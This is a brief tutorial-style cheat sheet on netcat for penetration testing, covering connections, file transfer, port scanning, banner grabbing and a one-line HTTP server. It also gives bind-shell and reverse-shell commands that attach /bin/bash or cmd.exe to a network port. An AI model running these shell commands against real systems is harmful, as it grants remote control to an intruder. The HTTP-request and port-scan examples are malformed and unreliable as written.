Netcat – the net kitty!

Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP. It has amazing features and it is a must-have tool for pen-testing. It is called the “Swiss-army knife for TCP/IP”.

Netcat is a terminal application with many features. Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc.

netcat help page

Basic Commands

TCP Port – Connecting (adding -u will force udp)
nc -nv <ip> <port>

TCP Port – Listening (adding -u will force udp)
nc -lvp <port>

Connect and return HTTP Page
nc -nv 80 HEAD / HTTP/1.1

File Transfer

nc -lvp 4444 > output.txt # Receivers side
nc -nv <ip> <port> < input.txt # Senders side

Port Scanning

nc -zv <> 80-84

Banner Grabbing

echo "" | nc -nv -w1 <ip> <port>

Remote shell

nc -vlp 7777 -e /bin/bash (linux)
nc -vlp 7777 -e cmd.exe (windows)

nc <ip> 7777

Reverse Shell

$ nc -v -l -p 8888
nc <ip> 8888 -e /bin/bash (linux)
nc <ip> 8888 -e cmd.exe (windows)

HTTP Server

while true; do nc -l -p 80 -q 1 < index.html; done
Create an ‘index.html’:
<!doctype html>
Hello world

Extra resource:
-SANS Netcat Cheatsheet -> Download